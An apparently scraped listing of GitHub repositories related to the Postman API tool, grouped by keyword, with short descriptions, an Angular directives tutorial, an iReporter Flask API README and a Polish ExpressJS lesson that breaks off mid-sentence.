advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks

bridge (5 listings) (Back to Top)

ctrowbridge/postman
bridge, collection, collections 		Postman collections 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
chris-bridgeft/apidocs-postman
apidoc, backup, bridge, docs 		backup from postman 0 stars 0 watchers 0 forks
liamkeegan/net-aci-setup
bridge, collection, collections, network, scratch, setup, spec 		Want to set up an ACI fabric in network-centric naming mode from scratch? Here's a handful of Postman collections that will take a Cisco ACI fabric (specifically, the ACI simulator) and setup the fabric for L2 and L3 outs, bridge domains, permit-any EPGs, and a Production VRF. 0 stars 0 watchers 0 forks
microcks/microcks-postman-runtime
bridge, interface, microcks, running, test, tests 		A bridge for running Postman tests from HTTP interface 0 stars 0 watchers 0 forks

smtp (5 listings) (Back to Top)

wp-plugins/postman-smtp
plugin, smtp 		WordPress.org Plugin Mirror 0 stars 0 watchers 4 forks
iamedu/postman
server, smtp 		Clojure smtp server 0 stars 0 watchers 0 forks
postman-app/postman_smtp
smtp 		SMTP Transport for Postman 0 stars 0 watchers 0 forks
wdiechmann/postman
e mail, mail, smtp 		Postman build on net/smtp, net/imap et al to easy you way around the mail stream 0 stars 0 watchers 0 forks
WPPlugins/postman-smtp
http, https, mirror, plugin, release, smtp, test, wordpress 		This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-smtp/, the master is always the latest release. 0 stars 0 watchers 0 forks

lightweight (5 listings) (Back to Top)

akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
missingfaktor/tapal
alternative, command, command line, light, lightweight, native 		A lightweight command line alternative to Postman 1 stars 1 watchers 0 forks
RapsIn4/archer
alternative, light, lightweight, native, source 		A lightweight open-sourced POSTMAN alternative 1 stars 1 watchers 0 forks
noblethrasher/Postman
lang, language, light, lightweight, setting, type, types 		A compiler for a lightweight typesetting language 0 stars 0 watchers 0 forks
zqzten/PocketHTTP
light, lightweight, test 		A lightweight iOS app to let you test your HTTP APIs easily on the go. 0 stars 0 watchers 0 forks

flight (5 listings) (Back to Top)

omarabdeljelil/flight-api
data, fiddler, flight, includes, laravel, light, require, test, tested, user, validation 		Flight API (created with laravel 5.7) all the HTTP requests are tested with Postman/fiddler. it includes data validation and require user's Token validation for PUT,POST and DELETE requests 1 stars 1 watchers 0 forks
flightcom/postman-demo-api
description, flight, light, script 		No description available. 0 stars 0 watchers 0 forks
erkusirem/postman-flight
flight, light 		0 stars 0 watchers 0 forks
greatjack1/United-In-Flight-Api
collection, flight, intern, internal, light 		Postman collection for United's internal in-flight wifi api 0 stars 0 watchers 0 forks
keraton/flight-service
flight, light, service 		Flight Service for Postman/Newman demo 0 stars 0 watchers 0 forks

performing (5 listings) (Back to Top)

kaustavdm/apiops-with-postman
apiops, form, performing 		Presentation on performing APIOps with Postman 0 stars 0 watchers 0 forks
priscilahenriques2050/Postman
form, performing, service, test, tests 		Tool for performing service tests 0 stars 0 watchers 0 forks
sanseervi/SpringBoot-via-Postman
application, form, operation, performing 		End to End application, performing CRUD operation through postman. 0 stars 0 watchers 0 forks
shetty-shruti/restful-crud-api
crud, endpoint, endpoints, form, instance, interacting, performing, rest, restful, test 		A RESTful API performing CRUD(Create,Retrieve,Update,Delete) with Node.js, Express and MongoDB. Mongoose for interacting with the MongoDB instance. Postman is used to test these endpoints. 0 stars 0 watchers 0 forks
ysodiqakanni/ShopifyTrialStore
check, commerce, define, form, performing, progress, server, shopify, style 		This repository is based on a challenge by shopify to create an API for performing some basic CRUDs in a defined e-commerce style. Development still in progress. For review purpose, check the ProductsController, it's the most up to date. Language: C# ASP.net web API with 3 layer architecture Technologies: Entity Framework, Dependency Injection, SQL server, NUnit, Postman 0 stars 0 watchers 0 forks

coverage (5 listings) (Back to Top)

darrylkuhn/fooblog
application, blog, coverage, test 		Demo PHP application showing how to use Postman/Newman to test and collect code coverage 4 stars 4 watchers 1 forks
anandjat05/admin-service-api
admin, coverage, image, instance, instances, pipeline, service, services, stat, test, testing, unit, vulnerability 		Project based on Micro-services, I created REST API's, wrote Junit, testing the coverage, bug smell, vulnerability analysis on Sonarqube and static test analysis using Jococo, Jenkins, Postman and Newman deploy through the CI/CD pipeline in ECS cluster using EC2 instances, Dockerhub, Docker Container/image. 1 stars 1 watchers 1 forks
rajaramkushwaha/spring-boot-postman-collection-executor-coverage-report
boot, collection, coverage, description, executor, report, script, spring 		No description available. 0 stars 0 watchers 0 forks
abelmokadem/swagger-coverage-postman
collection, coverage, definition, swagger 		Generate API coverage between your Swagger definition and Postman collection 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks

booker (5 listings) (Back to Top)

jchizim/restful_booker_api_postman_tests
book, booker, collection, host, postman collection, rest, restful, test, tests 		Repository to host my Restful Booker postman collection & tests 1 stars 1 watchers 0 forks
SadeeshKumarMN/explore-restful-booker-api-with-postman
book, booker, description, explore, rest, restful, script 		No description available. 0 stars 0 watchers 0 forks
agafun/Restful-Booker-API-tests
book, booker, heroku, http, https, rest, restful, test, tests 		API tests of https://restful-booker.herokuapp.com with Postman 0 stars 0 watchers 0 forks
bimablue/hotelbooker
belajar, book, booker, hotel 		belajar postman api 0 stars 0 watchers 0 forks
joannalaine/postman-restful-booker
book, booker, rest, restful, test, tests 		Collections of API tests written in Postman for the Restful Booker API 0 stars 0 watchers 0 forks

placeholder (5 listings) (Back to Top)

dawitnida/digitalocean-postman
digital, digitalocean, place, placeholder 		Postman Collection for DigitalOcean API, a placeholder to maintain DO API Postman Collections (not owned by DO). 0 stars 0 watchers 6 forks
dawitnida/timetastic-postman
meta, place, placeholder, timetastic 		Postman Collection + Environment for Timetastic API, a placeholder to maintain Timetastic API Postman Collections (not owned by Timetastic). 1 stars 1 watchers 0 forks
nhipham65/UI_API_Automation_Test
automat, automation, http, https, json, place, placeholder, rest, site 		Complete UI (Katalon) and API (Postman) automation site: UI - http://demo.prestashop.com; API - https://jsonplaceholder.typicode.com/ 0 stars 0 watchers 1 forks
marykayrima/Postmann_Jsonplaceholder_testing
http, https, json, place, placeholder, test, testing, todo 		https://jsonplaceholder.typicode.com/todos/ 0 stars 0 watchers 0 forks
StriveForBest/django-postman
ajax, django, fork, form, function, functional, place, placeholder, support 		django-postman fork to support ajax response, form placeholders and `mark as read` functionality 0 stars 0 watchers 0 forks

degree (5 listings) (Back to Top)

cynepton/Udagram-my-own-instagram-on-AWS
application, city, client, cloud, degree, filter, image, microservice, node, process, register, service, user, users 		My edit of Udacity's Udagram image filtering microservice. This is also my project submission as part of my cloud Developer Nanodegree. Udagram is a simple cloud application developed alongside the Udacity Cloud Engineering Nanodegree. It allows users to register and log into a web client, post photos to the feed, and process photos using an image filtering microservice. 1 stars 1 watchers 0 forks
Zandy12/FSJS-Project-Nine
degree, involves, program, test, testing, tree 		Ninth project of the Full Stack JavaScript techdegree program offered by www.teamtreehouse.com. The project involves building a REST API using Node.js and testing with Postman. 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
CarlosSanabriaM/web_backend
backend, degree 		Web backend of my final degree project 0 stars 0 watchers 0 forks
lucianoschillagi/OnTheMap
city, degree, node 		Fourth project - iOS Developer Nanodegree Program (Udacity) 0 stars 0 watchers 0 forks

listen (5 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
cb-surendra/RestApiDemo
fetch, list, listen 		Rest Api demo create in Node.js also used the postman api to listen the request, post, delete and fetch etc. 0 stars 0 watchers 0 forks
evelynda1985/muleSetVariableApp
console, expect, list, listen, method, send, studio, variable, variables 		Mulesoft 4, anypoint studio, HTPP listener, 2 set variables. payload, logger. Tested using Postman, POST method sending in the body a JSON. Result expected in Postman and in the console log. 0 stars 0 watchers 0 forks
evelynda1985/myFirstMuleApp
list, listen, studio, test 		Mulesoft 4, anypoint studio, HTTP listener, payload, log. I used Postman to test GET and through the payload the text. 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu 